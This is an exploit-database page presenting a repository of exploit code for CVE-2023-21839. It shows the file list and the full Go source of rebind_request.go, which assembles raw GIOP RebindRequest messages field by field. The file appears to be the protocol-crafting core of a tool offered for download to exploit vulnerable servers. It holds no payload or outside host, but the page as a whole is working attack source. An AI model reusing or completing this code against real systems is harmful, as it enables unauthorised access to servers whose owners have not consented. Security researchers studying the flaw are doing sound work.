Exploit databaseDownload repository ZIP
GH-bfd476df45085ec49d86fbbdcf665a7c
askyeye/cve-2023-21839
Sources for CVE-2023-21839
9 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files15
askyeye/cve-2023-21839Revision 29ad4cdd5500
- cmd/
- img/
- .gitignore
- LICENSE
- README.md
- constant.go
- giop.go
- go.mod
- header.go
- locate_request.go
- log.go
- rebind_request.go
- resolve_request.go
- service_context.go
- version.go
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
rebind_request.go
Go · 2,933 bytespackage giop
import (
"bytes"
"encoding/binary"
)
type RebindRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 2
ServiceContextList *ServiceContextList
StubData []byte // no limit
}
// GetMessageSize
// get size from a GIOP struct
func (r *RebindRequest) GetMessageSize() int {
total := 0
// RequestID
total += 4
// ResponseFlags
total += 1
// _reserved1
total += 3
// TargetAddress
total += 2
// _reserved2
total += 2
// _keyAddressLength
total += 4
// KeyAddress
total += len(r.KeyAddress)
// _operationLength
total += 4
// RequestOperation
total += len(r.RequestOperation)
// _reserved3
total += 2
// ServiceContext length
total += 4
slu := binary.BigEndian.Uint32(r.ServiceContextList.SequenceLength)
sl := int(slu)
// ServiceContext
for i := 0; i < sl; i++ {
// VSCID
total += 3
// SCID
total += 1
// _sequenceLength
total += 4
// Endianness
total += 1
// Data
total += len(r.ServiceContextList.ServiceContext[i].Data)
}
// StubData
total += len(r.StubData)
return total
}
// Bytes
// get bytes data from a GIOP struct
func (r *RebindRequest) Bytes() []byte {
buf := &bytes.Buffer{}
r._reserved1 = []byte{0x00, 0x00, 0x00}
r._reserved2 = []byte{0x00, 0x00}
r._reserved3 = []byte{0x00, 0x00}
buf.Write(r.Header.Magic)
buf.Write(r.Header.MajorVersion)
buf.Write(r.Header.MinorVersion)
buf.Write(r.Header.MessageFlags)
buf.Write(r.Header.MessageType)
sizeByte := make([]byte, 4)
size := r.GetMessageSize()
binary.BigEndian.PutUint32(sizeByte, uint32(size))
buf.Write(sizeByte)
buf.Write(r.RequestId)
buf.Write(r.ResponseFlags)
buf.Write(r._reserved1)
buf.Write(r.TargetAddress)
buf.Write(r._reserved2)
keyLen := make([]byte, 4)
binary.BigEndian.PutUint32(keyLen, uint32(len(r.KeyAddress)))
buf.Write(keyLen)
buf.Write(r.KeyAddress)
opLen := make([]byte, 4)
binary.BigEndian.PutUint32(opLen, uint32(len(r.RequestOperation)+1))
buf.Write(opLen)
buf.Write(r.RequestOperation)
buf.Write(r._reserved3)
slu := binary.BigEndian.Uint32(r.ServiceContextList.SequenceLength)
sl := int(slu)
buf.Write(r.ServiceContextList.SequenceLength)
for i := 0; i < sl; i++ {
buf.Write(r.ServiceContextList.ServiceContext[i].VSCID)
buf.Write(r.ServiceContextList.ServiceContext[i].SCID)
cdLen := make([]byte, 4)
binary.BigEndian.PutUint32(cdLen, uint32(
len(r.ServiceContextList.ServiceContext[i].Data)+1))
buf.Write(cdLen)
buf.Write(r.ServiceContextList.ServiceContext[i].Endianness)
buf.Write(r.ServiceContextList.ServiceContext[i].Data)
}
buf.Write(r.StubData)
return buf.Bytes()
}